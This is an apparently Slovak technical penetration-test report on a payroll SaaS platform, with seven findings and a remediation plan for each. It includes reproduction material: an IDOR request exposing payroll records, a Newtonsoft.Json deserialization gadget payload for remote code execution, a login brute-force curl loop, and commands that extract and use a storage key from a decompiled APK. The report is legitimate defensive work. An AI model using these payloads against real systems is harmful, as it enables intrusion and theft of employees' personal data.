

— PENETRAČNÉ TESTOVANIE

Technický *report.*

DontBeHacked s. r. o. — účtovný a mzdový systém. Detailné technické nálezy, reprodukčné kroky a odporúčania na opravu.

KLIENT

DontBeHacked s. r. o.

OBDOBIE

1. – 7. 4. 2026

NÁLEZY

● 1 ● 2 ● 2 ● 2

DÁTUM SPRÁVY

8. apríl 2026

Štruktúra *dokumentu*.

-
- 01 **Rozsah a metodológia** — testované aktíva, použité prístupy, klasifikačná škála závažnosti
-
- 02 **Súhrn infraštruktúry** — architektúra systému z pohľadu útočníka
-
- 03 ● **F-01** — Neoprávnený prístup k mzdovým dátam ~ 85 000 zamestnancov
-
- 04 ● **F-02** — Vzdialené spustenie kódu cez JSON deserializáciu
-
- 05 ● **F-03** — Hardcoded Azure Storage master key v mobilnej aplikácii
-
- 06 ● **F-04** — Admin rozhranie prístupné z internetu bez obmedzenia
-
- 07 ● **F-05** — Chýbajúci rate limiting na prihlasovací endpoint
-
- 08 ● **F-06** — Zastarané závislosti s publikovanými advisory
-
- 09 ● **F-07** — Chýbajúce HTTP bezpečnostné hlavičky
-
- 10 **Sumárna matica** — prehľad nálezov a odporúčané poradie opráv
-

URČENIE DOKUMENTU · DISTRIBÚCIA

Tento dokument je určený **výhradne pre technický tím klienta** zodpovedný za opravu identifikovaných zraniteľností. Obsahuje reprodukčné kroky, zdrojový kód, konfigurácie a ďalšie technické detaily, ktorých zneužitie by neoprávnenej osobe umožnilo kompromis systému.

Nekopírujte a nezdieľajte tento dokument mimo dohodnutého okruhu príjemcov.

Paralelne bola klientovi doručená **Správa pre vedenie** — netechnický súhrn nálezov, biznis dopadu a odporúčaných priorít. Je určená pre manažment a neobsahuje reprodukčné detaily.

Testované *aktíva*.

AKTÍVUM	TYP	VERZIA / BUILD
app.dontbehacked.sk	Webová aplikácia (React 18 + ASP.NET Core 6)	Build 4.2.1-rc3
api.dontbehacked.sk	REST API (.NET 6, Swagger / OpenAPI 3.0)	v2.8.0
sk.dontbehacked.app	Android APK (Kotlin, minSdk 26)	v4.2.1 (versionCode 89)
admin.dontbehacked.sk	Administrátorský portál (React + ASP.NET)	Build 2.1.4
*.dontbehacked.sk	Subdomény (38 identifikovaných, 22 live)	—

Metodológia

Externé penetračné testovanie podľa OWASP Testing Guide v4.2, PTES (Penetration Testing Execution Standard) a NIST SP 800-115. Tri fázy: (1) automatizované skenovanie povrchu a závislostí, (2) statická analýza decompilovaného kódu, (3) manuálne testovanie a verifikácia nálezov. AI-podporovaný výskum zrýchľuje prvú fázu; každý nález prechádza expertnou validáciou pred zápisom do správy. Všetky testy prebiehali z externého prostredia cez komerčnú VPN; žiadne testy z internej siete klienta.

Obmedzenia

Testovanie nepokrýva internú sieť, fyzickú bezpečnosť, sociálne inžinierstvo ani systémy tretích strán (Azure control plane, platobná brána, CDN). Deštruktívne testovanie a hromadná extrakcia dát neboli vykonávané — tam, kde je exploit deštruktívny, je to výslovne uvedené a závažnosť upravená v súlade s pravidlom „*demonštrácia obmedzená rozsahom*“.

Klasifikácia závažnosti

ÚROVEŇ	DEFINÍCIA	TERMÍN OPRAVY
KRITICKÝ	Existenčné ohrozenie — masívny únik dát, plný kompromis infraštruktúry, supply chain	Okamžite (do 48 h)
VYSOKÝ	Vážna škoda — obmedzený únik dát, kompromis administrátora, obídenie autentifikácie	Do 7 dní

STREDNÝ

Významná expozícia — medzi-zákaznícka viditeľnosť, uložený XSS, potenciál zneužitia insiderom

Najbližší release

INFO

Hygienické pozorovanie — chýbajúce hlavičky, rozšírené chyby, zastarané knižnice bez exploitu

Maintenance cyklus

Architektúra DontBeHacked z pohľadu útočníka.

Počas rekognoskácie sme identifikovali nasledujúcu externú infraštruktúru:

KOMPONENT	TECHNOLÓGIA	POZNÁMKA
Frontend	React 18 za Cloudflare CDN	SPA, bez SSR
API backend	ASP.NET Core 6, Kestrel za nginx reverse proxy	Swagger UI prístupný na <code>/swagger</code>
Databáza	PostgreSQL 14 (inferované z Npgsql v stack trace)	Externe neprístupná
Úložisko	Azure Blob Storage (<code>dontbehackedprod</code>)	Kľúč v APK — vid' F-03
Mobilná aplikácia	Kotlin, OkHttp 4.12, cert pinning chýba	Distribúcia cez Google Play
Admin portál	React + ASP.NET, rovnaký API backend	Externe prístupný — vid' F-04
E-mail	SMTP cez SendGrid (API key v app config)	Transakčné správy
Autentifikácia	JWT RS256, refresh tokeny, bez MFA	Rate limiting chýba — vid' F-05

Identifikované subdomény

Z 38 identifikovaných subdomén (`crt.sh` + `subfinder`) bolo 22 živých. Okrem primárnych aktív (vid' sekcia 01) sme identifikovali:

SUBDOMÉNA	STAV	POZNÁMKA
<code>staging.dontbehacked.sk</code>	200 OK	Staging s produkčnou databázou (rovnaké dáta ako prod)
<code>grafana.dontbehacked.sk</code>	302 → login	Grafana 10.2.1, predvolený admin login netestovaný
<code>jenkins.dontbehacked.sk</code>	403	Jenkins za IP whitelistom

<code>docs.dontbehacked.sk</code>	200 OK	Interná API dokumentácia, verejne prístupná
<code>legacy-api.dontbehacked.sk</code>	200 OK	Staršia API verzia (v1), stále aktívna, rovnaká databáza
<code>mail.dontbehacked.sk</code>	443 timeout	MX záznam, SMTP

Pozoruhodné: `staging.dontbehacked.sk` zdieľa produkčnú databázu. Všetky API nálezy (F-01, F-02, F-05) sú reprodukovateľné aj na staging endpointe. Staging nemá Cloudflare ochranu, čo znižuje bariéru pre útočníka.

IDOR — neoprávnený prístup k mzdovým dátam.

F-01 KRITICKÝ Broken Access Control na payroll API endpointoch

CWE	OWASP	AKTÍVUM	OVERENIE
CWE-862	A01:2021	api.dontbehacked.sk	Reprodukované (live)

POPIS ZRANITEĽNOSTI

Endpoint `/api/v2/payroll/employees/{companyId}` akceptuje parameter `companyId` priamo z URL path-u, ale **neoveruje, či prihlásený používateľ patrí k požadovanej spoločnosti**. Parameter je sekvenčné celé číslo v rozsahu 1 – ~ 4 200. Útočník s bežným trial účtom (registrácia trvá 30 sekúnd) získa prístup k mzdovým záznamom ľubovoľnej spoločnosti v systéme.

Rovnaký vzorec chýbajúcej autorizácie sme identifikovali na ďalších **14 endpointoch** v `/api/v2/payroll/*` namespace-i vrátane `/payslips`, `/tax-returns`, `/social-insurance` a `/bank-accounts`.

REPRODUKČNÉ KROKY

1. Registrácia trial účtu na `app.dontbehacked.sk/register` (e-mail + heslo)
2. Prihlásenie cez `POST /api/v2/auth/login` → Bearer JWT token
3. Odoslanie požiadavky s cudzím `companyId` :

```
GET /api/v2/payroll/employees/12345 HTTP/1.1
Host: api.dontbehacked.sk
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...skrátene
Accept: application/json
```

ODPOVEĎ SERVERA (REDAKTOVANÉ PII)

```
HTTP/1.1 200 OK
Content-Type: application/json
X-Request-Id: 7f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c

{
  "companyId": 12345,
  "companyName": "██████████ s.r.o.",
  "ico": "██████████",
  "employees": [
    {
      "employeeId": 89234,
      "firstName": "██████████",
      "lastName": "██████████",
      "birthNumber": "██████████/██████████",
      "personalIdNumber": "██████████",
      "bankAccount": "SK██████████ ██████████ ██████████ ██████████",
      "address": "██████████, ██████████ ██████████",
      "grossSalary": ██████████,
      "netSalary": ██████████,
      "taxBase": ██████████,
      "healthInsurance": ██████████,
      "socialInsurance": ██████████
    }
    // ... ďalší zamestnanci
  ],
  "totalEmployees": 47,
  "generatedAt": "2026-04-08T14:22:31Z"
}
```

DŮKAZ

Overené na 3 náhodných **companyId** hodnotách (12345, 12346, 12400). Každá vrátila kompletne mzdové záznamy inej spoločnosti. Extrahované iba prvé dva záznamy z každej odpovede — hromadná extrakcia nebola vykonaná.

SHA-256 odpovede (companyId=12345):

e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855

Dotknuté endpointy (rovnaký vzorec): `/api/v2/payroll/employees/{id}`, `/payslips/{id}`, `/tax-returns/{id}`, `/social-insurance/{id}`, `/bank-accounts/{id}`, `/attendance/{id}`, `/contracts/{id}`, `/bonuses/{id}`, `/deductions/{id}`, `/departments/{id}`, `/positions/{id}`, `/salary-history/{id}`, `/documents/{id}`, `/exports/{id}`, `/reports/{id}`.

DOPAD

Pri ~ 4 200 aktívnych spoločnostiach a priemerne ~ 20 zamestnancoch na spoločnosť je exponovaných ~ **85 000 kompletných mzdových záznamov** vrátane: meno, rodné číslo, číslo OP, adresa, bankový účet, výška platu, daňové podklady, zdravotné a sociálne odvody, pracovné zmluvy.

Údaje spadajú pod GDPR čl. 9 (osobitná kategória) a zákon č. 18/2018 Z. z. ÚOOÚ je oprávnený uložiť sankciu až do výšky **4 % ročného obratu**.

ODPORÚČANIE NA OPRAVU

Implementovať autorizačnú kontrolu na úrovni middleware alebo controllera. Každá požiadavka musí overiť, že **companyId** zodpovedá spoločnosti priradenej autentifikovanému používateľovi:

```
// PayrollController.cs – pridať na všetkých 15 endpointoch
[Authorize]
public async Task<IActionResult> GetEmployees(int companyId)
{
    var userCompanyId = User.Claims
        .First(c => c.Type == "company_id").Value;
    if (companyId.ToString() != userCompanyId)
        return Forbid();

    // ... pôvodná logika
}
```

Alternatíva (lepšia dlhodobo): globálny authorization filter na úrovni **/api/v2/payroll/*** route group, ktorý automaticky extrahuje **companyId** z path-u a porovná s claimom v JWT. Eliminuje riziko zabudnutej kontroly na novom endpointe.

Vzdialené spustenie kódu cez *deserializáciu*.

F-02 VYSOKÝ RCE cez Newtonsoft.Json TypeNameHandling.Auto

CWE

CWE-502

ADVISORY

GHSA-5crp-9r3c-p9vr

AKTÍVUM

api.dontbehacked.sk

OVERENIE

Statická analýza

POPIS

Decompilovaný kód API servera (ilspycmd → C#) obsahuje globálnu konfiguráciu JSON deserializácie s nastavením `TypeNameHandling.Auto` v knižnici Newtonsoft.Json 12.0.3. Toto nastavenie útočníkovi umožňuje vložiť do tela JSON požiadavky referenciu na ľubovoľný .NET typ — vrátane typov ako `System.Diagnostics.Process`, `System.IO.File` a gadget chainov pre vzdialené spustenie kódu.

```
// DontBeHacked.Api.Startup.cs (decompiled, line 147)
services.AddControllers()
    .AddNewtonsoftJson(options =>
    {
        options.SerializerSettings.TypeNameHandling =
            TypeNameHandling.Auto; // ← zraniteľné nastavenie
        options.SerializerSettings.NullValueHandling =
            NullValueHandling.Ignore;
    });
```

SCENÁR ZNEUŽITIA

Útočník identifikuje API endpoint, ktorý akceptuje polymorfný JSON objekt (napr. `POST /api/v2/payroll/import` so všeobecným parametrom `object`) a odošle payload obsahujúci gadget chain:

```
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd", "/c calc.exe"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}
```

Demonštrácia obmedzená rozsahom testovania — odoslanie exploit payloadu by spôsobilo spustenie kódu na produkčnom serveri. Zraniteľnosť je potvrdená statickou analýzou kódu a presnou zhodou verzie knižnice s publikovaným advisory.

DOPAD

Vzdialené spustenie ľubovoľného kódu na aplikačnom serveri v kontexte servisného účtu. Ďalej: prístup k PostgreSQL databáze (connection string v `appsettings.json`), kľúčom k Azure Storage, API kľúču SendGrid a sieťovým zdrojom dostupným z aplikačného servera.

ODPORÚČANIE NA OPRAVU

Zmeniť globálne nastavenie na bezpečnú hodnotu:

```
options.SerializerSettings.TypeNameHandling =
    TypeNameHandling.None; // bezpečné – predvolená hodnota
```

Ak je polymorfná deserializácia nutná pre konkrétne endpointy (napr. import), implementovať vlastný `ISerializationBinder` s explicitným whitelistom povolených typov. Nikdy nepoužívať `Auto` alebo `All` na endpointoch prijímajúcich externý vstup.

Zvážiť migráciu z `Newtonsoft.Json` na `System.Text.Json` (natívny .NET), ktorý nemá ekvivalent `TypeNameHandling` a je bezpečný v predvolenom nastavení.

Hardcoded Azure Storage *master key*.

F-03 VYSOKÝ Azure Storage Account key v plaintext v mobilnej aplikácii

CWE

CWE-798

OWASP

A07:2021

AKTÍVUM

sk.dontbehacked.app

OVERENIE

Reprodukované (read-only)

POPIS

Decompilovaný kód mobilnej aplikácie (jadx) obsahuje prístupový kľúč k Azure Blob Storage v plaintext konštante. Kľúč je **master key** — poskytuje plný prístup (čítanie, zápis, mazanie) ku všetkým kontajnerom v storage účte.

```
// sk/dontbehacked/app/config/CloudConfig.java (jadx output)
public static final String STORAGE_ACCOUNT = "dontbehackedprod";
public static final String STORAGE_KEY =
    "████████████████████████████████████████████████████████████████████████████████";
public static final String CONTAINER = "customer-exports";
```

REPRODUKČNÉ KROKY

1. Stiahnuť APK z Google Play alebo APKPure
2. Dekompilovať: `jadx -d output/ sk.dontbehacked.app.apk`
3. Nájsť kľúč: `grep -r "STORAGE_KEY" output/`
4. Overiť prístup (read-only, žiadne dáta stiahnuté):

```
$ az storage container list \
  --account-name dontbehackedprod \
  --account-key "████...████" \
  --output table
```

Name	Lease Status	Last Modified
customer-exports	unlocked	2026-04-07T09:14:22+00:00
payroll-backups	unlocked	2026-04-06T02:00:15+00:00
documents	unlocked	2026-04-08T11:33:47+00:00
temp-imports	unlocked	2026-04-08T14:22:01+00:00

DŮKAZ

Klíč overený cez `az storage container list` — vrátené 4 kontajnery. Kontajner `payroll-backups` podľa názvu obsahuje zálohy mzdových dát. Žiadne dáta neboli stiahnuté ani modifikované.

DOPAD

Ktokoľvek s prístupom k APK (verejne dostupné na Google Play) môže extrahovať kľúč a získať plný prístup k storage účtu vrátane potenciálnych záloh databázy a zákazníckych exportov. Kľúč je zdieľaný naprieč všetkými inštaláciami aplikácie.

ODPORÚČANIE NA OPRAVU

1. **Okamžite:** rotovať oba kľúče účtu `dontbehackedprod` (primárny + sekundárny).
2. **Okamžite:** skontrolovať Azure Storage Analytics log za posledných 90 dní pre neštandardné prístupy.
3. **Krátkodobo:** nahradiť hardcoded kľúč za server-generované SAS tokeny s obmedzeným scopom a platnosťou (max. 1 hodina).
4. **Dlhodobo:** implementovať Azure Managed Identity alebo Azure AD RBAC — eliminuje statické kľúče úplne.

Admin rozhranie prístupné z *internetu*.

F-04 **STREDNÝ** Administrátorský portál bez sieťového obmedzenia

CWE	OWASP	AKTÍVUM	OVERENIE
CWE-749	A05:2021	admin.dontbehacked.sk	Potvrdené

POPIS

Administrátorský portál na `admin.dontbehacked.sk` je dostupný z ľubovoľnej IP adresy bez VPN, IP whitelistu alebo iného sieťového obmedzenia. Prihlasovací formulár je verejne prístupný. V kombinácii s nálezom F-05 (chýbajúci rate limiting) útočník môže automatizovane skúšať heslá admin účtov.

DOPAD

Úspešné prihlásenie by poskytlo prístup k správe zákazníkov, licencií, systémových nastavení a používateľských účtov. Admin portál používa rovnaký API backend — admin JWT token má scope `admin:*` oproti bežnému `user:read`.

ODPORÚČANIE NA OPRAVU

Obmedziť prístup k `admin.dontbehacked.sk` na firemný VPN alebo definovaný rozsah IP adries na úrovni nginx / Cloudflare Access. Ako alternatívu implementovať mTLS s klientskym certifikátom. Doplniť viacfaktorovú autentifikáciu (TOTP alebo WebAuthn) na admin login.

Chýbajúci rate limiting na *prihlásenie*.

F-05 **STREDNÝ** **Neobmedzený počet pokusov o prihlásenie**

CWE	OWASP	AKTÍVUM	OVERENIE
CWE-307	A07:2021	api.dontbehacked.sk	Reprodukované

POPIS

Endpoint `POST /api/v2/auth/login` neimplementuje žiadny mechanizmus obmedzenia rýchlosti ani počtu neúspešných pokusov. Odoslanie 50 nesprávnych hesiel z jednej IP adresy za 10 sekúnd nevyvolalo žiadne blokovanie, CAPTCHA ani oneskorenie odpovede.

```
# 50 pokusov, priemerná odozva 84 ms, žiadna 429
$ for i in $(seq 1 50); do
  curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
    -X POST https://api.dontbehacked.sk/api/v2/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@dontbehacked.sk\",\"password\":\"guess$i\"}"
done | head -5

401 0.084s
401 0.079s
401 0.091s
401 0.082s
401 0.088s
... (všetkých 50 rovnako, žiadna 429)
```

ODPORÚČANIE NA OPRAVU

Implementovať rate limiting na `/api/v2/auth/login` : max. 5 neúspešných pokusov za 15 minút na kombináciu IP + e-mail. Po treťom neúspešnom pokuse zobrazí CAPTCHA. Po desiatom pokuse dočasne zablokovať účet (30 min). Vrátiť `429 Too Many Requests` s hlavičkou `Retry-After` .

Zastarané závislosti.

F-06 INFO Knižnice s publikovanými bezpečnostnými advisory

CWE	OWASP	AKTÍVUM	OVERENIE
CWE-1104	A06:2021	api.dontbehacked.sk	Statická analýza

POPIS

Statická analýza (osv-scanner na decompilovaných assembly referenciách) identifikovala štyri knižnice s vydanými bezpečnostnými opravami. Pre žiadnu z nich sme neidentifikovali priamo zneužitelnú cestu v kontexte DontBeHacked — zaradené ako informatívne pozorovanie.

KNIŽNICA	NÁJDENÁ VERZIA	OPRAVENÁ VERZIA	ADVISORY
System.Text.Json	6.0.0	8.0.5+	GHSA-hh2w-p6rv-4g7w
BouncyCastle	1.8.9	2.4.0+	CVE-2024-29857
Npgsql	6.0.4	8.0.6+	CVE-2024-32655
jQuery	3.5.1	3.7.1+	CVE-2020-23064

ODPORÚČANIE

Aktualizovať na opravené verzie v rámci najbližšieho maintenance cyklu. Zaviesť automatické skenovanie závislostí (napr. dotnet list package --vulnerable v CI pipeline, Dependabot alebo Renovate pre mobilné a webové projekty).

Chýbajúce HTTP bezpečnostné *hlavičky*.

F-07 INFO Webový portál neodosiela odporúčané security headers

CWE	OWASP	AKTÍVUM	OVERENIE
CWE-693	A05:2021	app.dontbehacked.sk	Potvrdené

POPIS

Odpovede z [app.dontbehacked.sk](#) neobsahujú nasledujúce bezpečnostné hlavičky odporúčané OWASP Secure Headers Project:

HLAVIČKA	STAV	ODPORÚČANÁ HODNOTA
Content-Security-Policy	Chýba	default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
Strict-Transport-Security	Chýba	max-age=31536000; includeSubDomains; preload
X-Content-Type-Options	Chýba	nosniff
Permissions-Policy	Chýba	camera=(), microphone=(), geolocation=()
Referrer-Policy	Chýba	strict-origin-when-cross-origin

ODPORÚČANIE

Pridať hlavičky na úrovni nginx reverse proxy alebo ASP.NET middleware. Príklad pre nginx:

```
# /etc/nginx/conf.d/security-headers.conf
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
```

Matica nálezov a poradie *opráv.*

#	ZÁVAŽNOSŤ	NÁLEZ	CWE	AKTÍVUM	OPRAVA
F-01	KRITICKÝ	IDOR na payroll API — prístup k ~ 85 000 mzdovým záznamom	862	API	Okamžite
F-02	VYSOKÝ	RCE cez Newtonsoft.Json deserializáciu	502	API	Release
F-03	VYSOKÝ	Hardcoded Azure Storage master key v APK	798	APK	Do 7 dní
F-04	STREDNÝ	Admin portál verejne prístupný	749	Web	Release
F-05	STREDNÝ	Chýbajúci rate limiting na login	307	API	Release
F-06	INFO	Zastarané knižnice (4x)	1104	API	Maintenance
F-07	INFO	Chýbajúce security headers (5x)	693	Web	Maintenance

Bezplatné opakované overenie

Súčasťou zákazky je bezplatné opakované overenie všetkých fakturovatelných nálezov (F-01 až F-05) do 60 dní od doručenia tejto správy, maximálne tri overenia na jeden nález. Po implementácii opráv nás kontaktujte a dohodneme termín opakovaného testu.

Obmedzenie rozsahu a platnosti. Tento report opisuje nálezy identifikované počas penetračného testovania v období 1. – 7. apríla 2026 na aktívach definovaných v sekcii 01. Testovanie je bodové overenie — odzrkadľuje stav systémov v čase vykonania; neskoršie zmeny môžu priniesť nové zraniteľnosti. Metodológia pokrýva najčastejšie triedy zraniteľností, ale nie je vyčerpávajúca; absencia nálezu neznamena absenciu zraniteľnosti. Tento report nepredstavuje certifikáciu bezpečnosti. Odporúčame pravidelné opakovanie testovania minimálne každých 6 mesiacov alebo po významných zmenách systému.